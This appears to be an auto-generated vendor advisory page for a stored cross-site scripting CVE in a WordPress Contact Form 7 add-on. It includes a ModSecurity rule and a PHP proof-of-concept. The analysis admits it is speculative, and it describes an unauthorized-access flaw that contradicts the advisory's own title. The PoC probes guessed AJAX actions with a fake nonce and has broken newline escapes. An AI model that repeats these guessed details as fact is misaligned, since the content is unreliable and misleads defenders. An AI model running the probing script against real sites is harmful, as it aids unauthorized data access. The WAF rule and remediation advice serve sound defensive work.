Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2026-32460: Ultra Addons for Contact Form 7 <= 3.5.36 – Authenticated (Contributor+) Stored Cross-Site Scripting (ultimate-addons-for-contact-form-7)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version
Patched Version
Disclosed March 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32460 (metadata-based):

This vulnerability affects the Ultimate Addons for Contact Form 7 WordPress plugin. The vulnerability description indicates a security flaw allowing unauthorized access or manipulation. The CWE classification is missing, but the plugin’s functionality suggests potential weaknesses in AJAX handlers or REST endpoints that process form data. The severity is likely medium to high given the plugin’s integration with Contact Form 7, a widely used submission handler.

Atomic Edge research infers the root cause involves insufficient access control on plugin endpoints. The plugin likely registers AJAX actions or REST API endpoints without proper capability checks or nonce verification. This inference stems from common WordPress plugin vulnerability patterns where administrative or data processing functions lack authorization validation. Without source code, this conclusion remains speculative but aligns with the vulnerability description’s implication of unauthorized access.

Exploitation would target the plugin’s AJAX handlers via /wp-admin/admin-ajax.php. Attackers would send POST requests with the action parameter set to a vulnerable hook like uacf7_action. The payload would contain parameters that manipulate form submissions, retrieve stored data, or execute unauthorized operations. The exact parameters depend on the plugin’s feature set, but likely include form_id, field_name, or submission_data. Attackers could use tools like curl or browser developer consoles to craft these requests.

Remediation requires implementing proper capability checks and nonce verification on all plugin endpoints. Developers should add current_user_can() checks before processing sensitive operations. All AJAX handlers should verify nonces using check_ajax_referer() or wp_verify_nonce(). REST API endpoints should include permission_callback functions that validate user capabilities. Input validation and output escaping should also be reviewed, though the primary fix addresses authorization failures.

The impact includes unauthorized access to form submission data, manipulation of form configurations, or injection of malicious content into forms. Attackers could exfiltrate sensitive information submitted through Contact Form 7 forms, including personal data, messages, or file uploads. In worst-case scenarios, this could lead to data breaches or further server compromise if the plugin allows file operations. The plugin’s integration with a popular form builder amplifies the potential exposure.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32460 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202632460,phase:2,deny,status:403,chain,msg:'CVE-2026-32460 via Ultimate Addons for Contact Form 7 AJAX - Unauthorized Access',severity:'CRITICAL',tag:'CVE-2026-32460',tag:'WordPress',tag:'Plugin',tag:'Ultimate-Addons-CF7'"
  SecRule ARGS_POST:action "@rx ^uacf7_" "chain"
    SecRule &ARGS_POST:nonce "@eq 0" "chain"
      SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-32460 - Ultimate Addons for Contact Form 7 Unauthorized Access
<?php
/**
 * Proof of Concept for CVE-2026-32460
 * Assumptions based on plugin functionality and common vulnerability patterns:
 * 1. Plugin registers AJAX actions without proper capability checks
 * 2. Action name follows plugin slug pattern (uacf7_*)
 * 3. Endpoint accepts parameters for form data manipulation
 * This PoC demonstrates unauthorized access to form submission data
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Common AJAX action patterns for this plugin
$possible_actions = [
    'uacf7_get_submissions',
    'uacf7_export_data',
    'uacf7_get_form_data',
    'uacf7_action'
];

foreach ($possible_actions as $action) {
    $post_data = [
        'action' => $action,
        'form_id' => '1',  // Common first form ID
        'nonce' => 'invalid_nonce'  // Testing nonce bypass
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Code: {$http_code}n";
    
    // Check for successful but unauthorized response
    if ($http_code == 200 && !empty($response)) {
        if (strpos($response, 'error') === false && 
            (strpos($response, 'form') !== false || 
             strpos($response, 'data') !== false ||
             strpos($response, 'submission') !== false)) {
            echo "POTENTIAL VULNERABILITY DETECTEDn";
            echo "Response preview: " . substr($response, 0, 200) . "...n";
        }
    }
    
    curl_close($ch);
    echo str_repeat('-', 50) . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School